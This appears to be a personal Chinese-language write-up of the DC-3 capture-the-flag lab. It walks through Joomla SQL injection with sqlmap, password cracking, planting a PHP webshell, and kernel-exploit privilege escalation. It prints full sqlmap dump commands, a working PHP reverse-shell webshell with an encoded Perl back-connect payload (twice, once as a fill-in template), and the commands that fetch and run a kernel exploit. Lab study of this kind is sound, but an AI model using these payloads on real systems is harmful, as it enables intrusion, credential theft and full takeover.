DC -3靶机复盘

注:个人笔记,并不详细,仅供参考。

信息搜集

  1. 扫描网段确认IP

    nmap -sP -T4 192.168.121.0/24
    

DC -3靶机复盘_第1张图片

  • 确认IP地址为 192.168.121.131
  1. 扫描IP发现开了80端口

  2. 扫描目录发现后台登录页面

    dirb http://192.168.121.131 -r   
    

    DC -3靶机复盘_第2张图片

  3. 确认系统版本

    joomscan -u http://192.168.121.131
    

DC -3靶机复盘_第3张图片

joomscan

joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具

DC -3靶机复盘_第4张图片

扫描出了cms的版本,还有一些目录跟后台登入界面,前面的信息收集里我们也是知道了的

漏洞查找

  1. searchsploit

    searchsploit是一款kali自带的搜索漏洞信息的模块

    searchsploit Joomla 3.7.0
    
  2. 发现sql注入漏洞
    DC -3靶机复盘_第5张图片

  3. 拷贝漏洞文件
    DC -3靶机复盘_第6张图片

  4. 打开该文件,发现给出了注入点
    DC -3靶机复盘_第7张图片

漏洞利用

sql 注入

  1. 利用sqlmap进行自动化注入

    • 列出所有数据库
    sqlmap -u "http://192.168.121.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
    
    
    • –dbs列出所有数据库

    DC -3靶机复盘_第8张图片

    • 显示当前靶机正在使用的数据库

      sqlmap -u "http://192.168.121.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
      
    • 列出指定数据库的所有表

      sqlmap -u "http://192.168.121.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch -D joomladb --tables
      
    • -D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来

      –tables 列出表

  2. 查看所有字段

    sqlmap -u "http://192.168.121.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns
    
    • 表名含有特殊符号,需要用引号包括

    • 这里就不能用–batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

  3. 查看用户名密码

    sqlmap -u "http://192.168.121.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
    
    • 密码是加密过的,没有加密函数只能爆破密码了

密码爆破

  1. 利用John工具,对该密码进行爆破拆解

  2. 在root创建1.txt文件,把密码复制进去并保存,接着使用john指向该文件

    john 1.txt
    

    DC -3靶机复盘_第9张图片

  3. 爆破完成进行登录

查找网站漏洞

DC -3靶机复盘_第10张图片

DC -3靶机复盘_第11张图片

  • 貌似有文件上传过滤,但是我们可以自己创建一个文件,写入木马 也可以直接反弹shell

DC -3靶机复盘_第12张图片
DC -3靶机复盘_第13张图片

  • 将PHP反弹shell代码复制进去

    • 反弹shell代码
    
    function which($pr) {
    	$path = execute("which $pr");
    	return ($path ? $path : $pr);
    	}
    function execute($cfe) {
    	$res = '';
    	if ($cfe) {
    		if(function_exists('exec')) {
    			@exec($cfe,$res);
    			$res = join("\n",$res);
    			} 
    			elseif(function_exists('shell_exec')) {
    			$res = @shell_exec($cfe);
    			} elseif(function_exists('system')) {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(function_exists('passthru')) {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
    $res = '';
    while(!@feof($f)) {
    $res .= @fread($f,1024);
    }
    @pclose($f);
    }
    }
    return $res;
    }
    function cf($fname,$text){
    if($fp=@fopen($fname,'w')) {
    @fputs($fp,@base64_decode($text));
    @fclose($fp);
    }
    }
    $yourip = "192.168.121.129";
    $yourport = '8888';
    $usedb = array('perl'=>'perl','c'=>'c');
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    cf('/tmp/.bc',$back_connect);
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    ?>
    

DC -3靶机复盘_第14张图片

保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.121.131/templates/beez3/webshell.php

在kali开启监听

nc -lvvp 8888

接着我们去访问webshell地址,执行反弹shell的php代码,回到监听端口的终端

DC -3靶机复盘_第15张图片

利用python获取交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息,以寻找提权漏洞突破口
查看版本当前操作系统发行信息

cat /etc/issue

DC -3靶机复盘_第16张图片

cat /proc/version

DC -3靶机复盘_第17张图片

2. 搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另一个终端
查找ubuntu 16.04的漏洞:
DC -3靶机复盘_第18张图片

  • 拷贝漏洞文档

    searchsploit -m 39772.txt
    

    DC -3靶机复盘_第19张图片

  • 打开该文本

    DC -3靶机复盘_第20张图片

    • 文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接

      https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
      

3.利用exp提权

接着我们下载该压缩包并放到kali桌面里,解压该文件,然后在桌面开启http服务,将下载好的文件导入到DC-3靶机里

  1. 下载39772.zip文件

    wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
    

    DC -3靶机复盘_第21张图片

  2. 开启http网站服务

    python3 -m http.server 80
    

    在这里插入图片描述

  3. 回到我们的虚拟终端,利用wget命令下载该工具

     wget http://192.168.121.129/3977.zip 
    

    DC -3靶机复盘_第22张图片

  4. 解压该文件,

    unzip 39772.zip
    

    DC -3靶机复盘_第23张图片

  5. cd 进入39772这个目录,查看目录然后解压exploit.tar文件,

    tar -xvf exploit.tar
    

    DC -3靶机复盘_第24张图片

    先进入 ebpf_mapfd_doubleput_exloit,然后查看目录,发现compile.sh然后执行

    ./compile.sh
    

    Linux系统下 .(点)是执行某个文件的意思
    DC -3靶机复盘_第25张图片

  6. 然后查看目录,发现doubleput目录然后进行执行

    ./doubleput
    

    DC -3靶机复盘_第26张图片

    DC -3靶机复盘_第27张图片

  7. 提权成功

4.查找flag

  1. 使用find 查找flag
find / -name *flag*

DC -3靶机复盘_第28张图片

发现可疑文件

/root/the-flag.txt

进入后发现

DC -3靶机复盘_第29张图片

完成 拿到最终flag

收获总结

1. joomscan

  • 针对joomla开发的漏洞扫描器
joomscan -u [要攻击的IP或URL]

2. searchsploit

  • 漏洞查找工具,可以通过操作系统或cms的版本号搜索到相应漏洞,通过查看说明即可找到漏洞利用方法
searchsploit [CMS或操作系统] [CMS或操作系统的版本号]
searchsploit
-c, --case     [Term]      区分大小写(默认不区分大小写)
   -e, --exact    [Term]      对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
   -h, --help                 显示帮助
   -j, --json     [Term]      以JSON格式显示结果
   -m, --mirror   [EDB-ID]    把一个exp拷贝到当前工作目录,参数后加目标id
   -o, --overflow [Term]      Exploit标题被允许溢出其列
   -p, --path     [EDB-ID]    显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
   -t, --title    [Term]      仅仅搜索漏洞标题(默认是标题和文件的路径)
   -u, --update               检查并安装任何exploitdb软件包更新(deb或git)
   -w, --www      [Term]      显示Exploit-DB.com的URL而不是本地路径(在线搜索)
   -x, --examine  [EDB-ID]    使用$ PAGER检查(副本)Exp
       --colour               搜索结果不高亮显示关键词
       --id                   显示EDB-ID
       --nmap     [file.xml]  使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)
                                使用“-v”(详细)来尝试更多的组合
       --exclude="term"       从结果中删除值。通过使用“|”分隔多个值
                              例如--exclude=“term1 | term2 | term3”。

3. john

  • 针对hash的密码爆破工具
john [含有密文的文件名]

4. PHP反弹shell


function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

5. Linux的一些命令

  • cp ——文件复制命令

    cp [源文件] [新文件]
    
  • wget ——远程文件下载命令

    wget [文件的URL]
    
  • tar ——文件压缩、解压命令

    • tar命令参考, tar 解压缩命令详解,以压缩tar后缀文件为例
    tar -xvf [tar文件]
    

6. Linux系统信息文件

  • /etc/issue
  • /proc/version

你可能感兴趣的:(靶机笔记,笔记,笔记)